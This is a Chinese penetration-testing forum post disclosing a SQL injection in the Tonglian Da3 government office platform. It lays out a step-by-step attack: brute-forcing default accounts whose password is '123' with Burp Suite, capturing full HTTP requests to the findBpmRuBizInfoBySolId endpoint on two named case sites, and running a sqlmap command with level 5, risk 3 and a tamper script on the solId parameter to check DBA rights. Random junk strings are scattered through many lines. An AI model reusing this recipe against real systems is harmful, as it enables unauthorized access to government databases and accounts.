中国网络渗透测试联盟

标题: 同联Da3协同办公平台前台通用sql injection漏洞 [打印本页]

---

作者: admin    时间: 2018-10-20 20:15
标题: 同联Da3协同办公平台前台通用sql injection漏洞

/ s$ X) b) _2 e6 L. I

* n; a( i0 W" h- v; q! D1 e 平台简介：

 

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 i8 f( a- S- E: T+ j" U

0 T @7 F& `8 G" j! C- z9 r

3 ]$ m9 S' i _* a7 a3 e. R8 h  

7 c' y" J( V# W. r: O 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  1 j+ l8 E) l, K% r! F$ x

* ^' |6 ~5 |5 U9 K' }3 G4 B9 F/ p

http://1.1.1.1:7197/cap-aco/#（案例2-） ; c& Z" n7 l6 f' h

^- ]1 _; n( r$ I# B' o* R http://www.XXOO.com （案例1-官网网站） * V8 ^( R' |+ C' t. _1 }% y

: S6 ?2 e1 _8 ` v

  + O# ^6 U% c; H

/ Q' x8 ^5 l/ ?8 Y! p0 a* F, Q* j 漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 + {8 }: [& m |2 N5 R4 f7 H0 G

: m! l/ @/ j0 a8 u: I) L; j      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

8 h0 r3 p% {7 _) i" x, ]% D* g

) Z) R% M& s' o   ( C$ r) ~- Z/ n

( p# y& I9 H: I6 @- _+ }! n; u

 

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

$ K6 D5 J) G$ Z9 n: c1 ] 1、案例1-官方网站

/ e7 P# |! ]# P7 k% Y5 u GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 % H9 p- q: W- A5 X8 V D- M

& H5 K' |! Q9 G% k

Host: www.XXOO.com

% u2 Z& \5 G' x2 K" {

Proxy-Connection: Keep-Alive $ G, A. Q: C6 D% `" i# B

9 P' ~2 H. W& I/ F$ x; W) s Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN + }: D4 }2 V& Z- s4 J

9 _. H! B4 W, P1 K) x Content-Type: application/json ; o% {, c" J' i! S, G7 ~1 \

2 v$ ?6 O. y! u- S3 N9 T

! u6 e. a; x+ {! ^' O User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 2 j/ o) N1 {* G+ u' Y1 H

. I5 Z: O* }( U7 k8 B! _

. G& a4 T- k) E% B X-Requested-With: XMLHttpRequest ) u' z# A6 R( C8 P3 q' z8 [& a: d

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

6 G1 d1 N9 Y) ^3 i) E8 F Accept-Encoding: gzip, deflate, sdch : y% ~( k+ V- W- L( c

m+ T* ^9 D7 c7 A3 R* \ Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

1 F8 v! ^2 J* _

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

$ i$ _1 h1 G: T/ E) i- R5 [ y2 k6 s( l   0 L+ f( L6 e& k& R4 F, b. M" v

2 B. x5 Y( U u" |. L Z

 

& \! | ~- }" J n. F! B. Q  

' l8 A/ H A; A& k" P! o   1 K9 _9 m6 U8 a: G- [% `5 Y

+ C' d) |2 i' k

$ D H" X3 h/ a0 j  

. n! I. H) ~$ E$ t

/ M; @2 ^! u' P1 ?/ [- f 2、案例2-某天河云平台 $ u" y2 \% S4 c: f! h4 ~9 v2 _

6 S& J5 L/ e' G0 Q GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 , R, _- G: z2 u2 m! o3 O8 @

+ g6 C8 v8 h# \' O1 Y3 X

Host: 1.1.1.:7197 7 n( O( [+ M" z. e

7 G, q' h/ Z% `- X& Y

Accept: application/json, text/javascript, */*; q=0.01

9 g3 w0 ~5 C0 k7 H# l. ~1 y* ], I4 u

X-Requested-With: XMLHttpRequest 3 }8 n- F6 _) _2 |3 G- _6 g0 d

! ?6 {& d( y( [" j/ X% a

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 0 ?( q4 @4 Z- X: P# ?' ^! Q% O

8 \) E8 t6 S0 L7 D6 o: A7 P, @% Q

Content-Type: application/json , N: q2 g9 t+ H- a

6 z2 A3 n$ @5 J) q# ~8 }

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 " o6 M/ t" }' J& ~$ @" U& f% T

2 H% k- l! w/ O- ]& _4 ^

& }& D9 G% \& E# T& W/ V Accept-Language: zh-CN,zh;q=0.8 6 q. r. z, { l% M

0 l6 Y5 k( X! g8 ?

/ I# }; G4 ]' X3 T. \ d* y Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

8 G0 H6 N0 S( \3 p

0 `# r8 D% \& Y# U2 | Connection: close ; E X l6 `8 R( W/ o5 E

. r# V X$ y3 `: B& }$ R! K

, Y5 G3 o% v$ H, f/ f c5 k 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

 

6 b$ S& h5 v) e/ w: I5 U

) H: F9 H5 L4 F1 z- p* W$ Z; r; b

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2